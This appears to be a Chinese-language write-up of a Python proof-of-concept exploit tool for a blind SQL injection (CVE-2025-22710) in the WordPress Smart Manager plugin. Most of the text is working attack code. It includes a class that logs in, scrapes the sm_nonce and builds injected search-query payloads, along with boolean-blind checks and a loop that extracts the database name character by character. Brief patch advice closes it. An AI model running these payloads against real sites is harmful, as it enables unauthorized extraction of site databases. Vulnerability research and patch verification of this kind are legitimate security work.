WordPress Smart Manager 插件 SQL 注入漏洞利用工具

0 阅读4分钟

WordPress Smart Manager SQL 注入漏洞利用工具

该项目是一个针对 WordPress 插件 Smart Manager(WooCommerce Advanced Bulk Edit Products, Orders, Coupons, Any WordPress Post Type – Smart Manager)的 SQL 注入漏洞(CVE-2025-22710)的 PoC 利用工具。该工具通过盲注方式利用漏洞,帮助安全研究人员验证目标站点的安全性。

功能特性

  • 自动登录认证:支持通过 WordPress 管理员账户自动登录,获取会话权限
  • Nonce 自动提取:从目标页面自动提取 sm_nonce 安全令牌,用于构造合法请求
  • 盲注攻击载荷生成:基于时间或响应差异的盲注技术,构造高级搜索查询中的恶意 SQL 语句
  • 漏洞验证:通过响应状态码或内容差异判断漏洞是否存在
  • 代理支持:支持 HTTP/HTTPS 代理,便于调试和流量分析

安装指南

环境要求

  • Python 3.6 及以上版本
  • requests 库

依赖安装

pip install requests

获取项目

git clone https://github.com/your-repo/wordpress-smart-manager-sqli.git
cd wordpress-smart-manager-sqli

使用说明

基础用法

from wordpress_sql_injector import WordPressSQLInjector

# 初始化注入器
injector = WordPressSQLInjector(
    target="https://example.com",
    login_id="admin",
    login_pw="password"
)

# 登录目标站点
injector.login()

# 获取页面 Nonce
injector.get_nonce("https://example.com/wp-admin/admin.php?page=smart-manager")

# 构造并发送恶意请求
payload = "' OR 1=1 )) #"
data = injector.create_payload(payload)
response = injector.session.post(
    f"{injector.target}/wp-admin/admin-ajax.php",
    data=data,
    proxies=injector.proxies
)

典型使用场景

1. 布尔盲注验证
# 验证条件为真的情况
true_payload = "' AND 1=1 )) #"
data = injector.create_payload(true_payload)
response_true = injector.session.post(
    f"{injector.target}/wp-admin/admin-ajax.php",
    data=data
)

# 验证条件为假的情况
false_payload = "' AND 1=2 )) #"
data = injector.create_payload(false_payload)
response_false = injector.session.post(
    f"{injector.target}/wp-admin/admin-ajax.php",
    data=data
)

if response_true.status_code != response_false.status_code:
    print("[+] Vulnerability confirmed!")
2. 数据提取(盲注)
import string

# 提取数据库名称(通过逐字符盲注)
charset = string.ascii_lowercase + string.digits + "_{}"
database_name = ""

for i in range(1, 20):
    for char in charset:
        # 构造 Substring 盲注语句
        payload = f"' AND SUBSTRING((SELECT database()),{i},1)='{char}' )) #"
        data = injector.create_payload(payload)
        response = injector.session.post(
            f"{injector.target}/wp-admin/admin-ajax.php",
            data=data
        )
        
        # 根据响应判断字符是否正确
        if response.status_code == 200:  # 假设 200 表示条件为真
            database_name += char
            print(f"[+] Found char: {char}")
            break

API 概览

WordPressSQLInjector
方法参数描述
__init__target, login_id, login_pw, proxy初始化注入器实例
login使用提供的凭证登录 WordPress
get_noncepage_url从指定页面提取 sm_nonce 令牌
create_payloadpayload生成包含 SQL 注入载荷的请求数据
create_post访问新建文章页面以获取所需的 Nonce(可扩展)

核心代码

WordPressSQLInjector 核心类

class WordPressSQLInjector:
    def __init__(self, target, login_id, login_pw, proxy=None):
        """
        初始化 SQL 注入工具

        :param target: 目标 WordPress 站点 URL
        :param login_id: 管理员用户名
        :param login_pw: 管理员密码
        :param proxy: 代理地址,如 'http://127.0.0.1:8080'
        """
        self.target = target.rstrip("/")
        self.session = requests.Session()
        self.nonce = None
        self.post_ID = None
        self.proxies = {"http": proxy, "https": proxy} if proxy else None
        self.login_id = login_id
        self.login_pw = login_pw

    def login(self):
        """
        登录 WordPress 后台
        """
        data = {
            "log": self.login_id,
            "pwd": self.login_pw,
            "wp-submit": "Log In",
            "testcookie": 1,
        }
        response = self.session.post(
            f"{self.target}/wp-login.php",
            data=data,
            proxies=self.proxies
        )
        if any("wordpress_logged_in_" in cookie for cookie in response.cookies.keys()):
            print(f"[+] Successfully logged in as {self.login_id}.")
        else:
            raise Exception("[-] Login failed. Check your credentials.")

    def get_nonce(self, page_url):
        """
        从 Smart Manager 页面提取 sm_nonce

        :param page_url: Smart Manager 管理页面 URL
        """
        response = self.session.get(page_url, proxies=self.proxies)
        pattern = r'\\"sm_nonce\\":\\"(\w+)\\"'
        match = re.search(pattern, response.text)
        if match:
            self.nonce = match.group(1)
            print(f"[+] Nonce extracted: {self.nonce}")
        else:
            raise ValueError("[-] Failed to extract nonce.")

    def create_payload(self, payload):
        """
        构造包含 SQL 注入载荷的 advanced_search_query 数据

        :param payload: SQL 注入载荷字符串
        :return: 准备发送的 POST 数据字典
        """
        if not self.nonce:
            raise ValueError("Nonce is not set. Call `get_nonce` first.")
        return {
            "cmd": "get_data_model",
            "active_module": "post",
            "security": self.nonce,
            "advanced_search_query": (
                f'[{{"condition":"test","rules":[{{"condition":"test","rules":'
                f'[{{"type":"wp_posts.ID","operator":"eq","value":"{payload}"}}]'
                f'}}]}}]'
            ),
        }

漏洞原理简述

该漏洞存在于 Smart Manager 插件的高级搜索功能中。当用户通过 advanced_search_query 参数传递搜索条件时,插件未对 value 字段进行充分的 SQL 转义处理,直接将用户输入拼接进数据库查询语句,导致攻击者可以注入任意 SQL 代码。

由于漏洞为盲注类型,攻击者无法直接从响应中获取数据,但可以通过构造真/假条件,根据响应状态的差异逐字符提取数据库内容。

安全建议

  1. 立即更新:将 Smart Manager 插件升级到 8.50.1 或更高版本
  2. 临时措施:如无法立即更新,可暂时禁用该插件
  3. 最小权限原则:限制管理员账户的使用,减少攻击面 6HFtX5dABrKlqXeO5PUv/1YCykriqchWtUGoyz35KJ0=